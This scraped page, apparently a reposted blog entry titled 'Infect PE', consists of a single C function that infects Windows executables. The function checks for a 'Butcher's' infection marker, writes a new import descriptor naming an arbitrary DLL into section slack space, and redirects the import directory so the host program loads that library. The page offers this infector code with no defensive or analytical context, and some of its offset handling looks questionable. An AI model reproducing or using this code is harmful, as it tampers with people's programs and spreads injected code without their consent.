Infect PE

来源:互联网 发布:好一点的耳环品牌 知乎 编辑:程序博客网 时间:2024/05/21 09:44
int InfectImport(const char* Path,const char* Library){char Sign[0x10]={0};FILE* File=0x0;char* Buffer=0x0;const char* Test=TEXT("Butcher's");unsigned long Size=0;unsigned long Offset=0;IMAGE_DOS_HEADER Dos={0};IMAGE_NT_HEADERS NT={0};IMAGE_SECTION_HEADER Section={0};IMAGE_IMPORT_DESCRIPTOR* Import=0;IMAGE_DATA_DIRECTORY* Directory=0;if (fopen_s(&File,Path,TEXT("rb+"))!=0){return 0;}__try{__try{fread(&Dos,sizeof(IMAGE_DOS_HEADER),1,File);if (Dos.e_magic!= IMAGE_DOS_SIGNATURE){return 0;}fseek(File,0x28,SEEK_SET);fread(Sign,0x10,1,File);if (strcmp(Test,Sign)==0){return 0;}fseek(File,Dos.e_lfanew,SEEK_SET);fread(&NT,sizeof(IMAGE_NT_HEADERS),1,File);if (NT.Signature!=IMAGE_NT_SIGNATURE){return 0;}fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER),SEEK_SET);fread(&Section,sizeof(IMAGE_SECTION_HEADER),1,File);if (Section.VirtualAddress!=NT.OptionalHeader.BaseOfData){return 0;}Size=NT.OptionalHeader.DataDirectory[1].Size;if (Size+0x20>Section.SizeOfRawData-Section.Misc.VirtualSize){return 0;}Offset=Section.PointerToRawData+Section.Misc.VirtualSize;Buffer=calloc(0x20,sizeof(char));memset(Buffer,0,0x20);strcpy_s((char*)Buffer,strlen(Library)+1,Library);*(int*)((int)Buffer+0x10)=0x80000001;*(int*)((int)Buffer+0x14)=0x0;*(int*)((int)Buffer+0x18)=0x0;*(int*)((int)Buffer+0x1c)=0x0;fseek(File,Offset,SEEK_SET);fwrite(Buffer,sizeof(char),0x20,File);Import=malloc(sizeof(IMAGE_IMPORT_DESCRIPTOR));Import->FirstThunk=Offset+0x10;Import->ForwarderChain=0;Import->Name=Offset;Import->OriginalFirstThunk=Offset+0x18;Import->TimeDateStamp=0;fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress+Size-0x14,SEEK_SET);fwrite(Import,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,File);Buffer=realloc(Buffer,Size);memset(Buffer,0,Size);fseek(File,NT.OptionalHeader.DataDirectory[1].VirtualAddress,SEEK_SET);fread(Buffer,sizeof(char),Size,File);fseek(File,Offset+0x20,SEEK_SET);fwrite(Buffer,sizeof(char),Size,File);Directory=malloc(sizeof(IMAGE_DATA_DIRECTORY));Directory->Size=Size+0x14;Directory->VirtualAddress=Offset+0x20;fseek(File,Dos.e_lfanew+sizeof(IMAGE_NT_HEADERS)-0x78,SEEK_SET);fwrite(Directory,sizeof(IMAGE_DATA_DIRECTORY),1,File);fseek(File,0x28,SEEK_SET);fwrite(Test,strlen(Test),1,File);}__except(EXCEPTION_EXECUTE_HANDLER){return 0;}}__finally{free(Buffer);free(Import);free(Directory);fclose(File);}return 1;}